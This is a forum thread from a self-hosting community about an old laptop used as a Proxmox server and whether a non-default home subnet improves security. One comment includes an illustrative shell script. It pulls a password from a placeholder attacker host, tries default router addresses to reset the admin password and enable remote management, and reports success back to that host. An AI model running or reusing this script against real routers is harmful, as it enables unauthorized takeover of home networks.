Selfhosted

61114 readers

1267 users here now

A place to share alternatives to popular online services that can be self-hosted without giving up privacy or locking you into a service you don't control.

Rules:

Detailed Rules Post

Be civil.
No spam.
Posts are to be related to self-hosting.
Don't duplicate the full text of your blog or readme if you're providing a link.
Submission headline should match the article title.
No trolling.
Promotion posts require active participation, with an account that is at least 30 days old. F/LOSS without a paywall has exceptions, with requirements. See the rules link for details. Tags [CBH] or [AIP] are required, see the links in Rule 8 for details.
AI-related discussions and AI-involved promotional posts have additional requirements for tagging, as noted in Rule 7 and the AI & Promotional Post Expanded Rules post, and find example disclosures here.

Resources:

selfh.st Newsletter and index of selfhosted software and apps
awesome-selfhosted software
awesome-sysadmin resources
Self-Hosted Podcast from Jupiter Broadcasting

Any issues on the community? Report it using the report flag.

Questions? DM the mods!

founded 3 years ago

MODERATORS

curbstickle@anarchist.nexus

curbstickle_lw@lemmy.world

296

My 15-year old panasonic toughbook is hanging in there as a proxmox server (lemmy.world)

submitted 3 months ago by early_riser@lemmy.world to c/selfhosted@lemmy.world

64 comments fedilink hide all child comments

A huge upshot to using a laptop is you have a built-in UPS and KVM.

you are viewing a single comment's thread
view the rest of the comments

[–] MehBlah@lemmy.world 7 points 3 months ago (2 children)

If it isn't 192.168.1.0/24 then you should blur it. Mine is completely random and I keep it to myself.

[–] Landless2029@lemmy.world 1 points 3 months ago

10.0.0.0/24 master race!

[–] possiblylinux127@lemmy.zip 1 points 3 months ago (1 children)

Why?

[–] cravl@slrpnk.net 0 points 3 months ago (1 children)

Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they're pretty simple scripts that just try to hit default ports on default IPs.

[–] possiblylinux127@lemmy.zip 2 points 3 months ago* (last edited 3 months ago) (1 children)

That's not how networking works

If someone is on the inside of your network you have much bigger issues. Having a random subnet won't do anything as they can just look at the arp tables.

[–] cravl@slrpnk.net 0 points 3 months ago* (last edited 3 months ago) (1 children)

That's what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
    curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
    curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
    curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
done

…completely pointless. If it's a someone inside your network, you need more.

[–] possiblylinux127@lemmy.zip 1 points 3 months ago (1 children)

Yeah I don't really understand your argument

[–] cravl@slrpnk.net 1 points 3 months ago

No worries. It is technically another layer in the "swiss cheese" model, but it certainly is more holes than cheese. I think it falls into the "can't hurt, might help" category.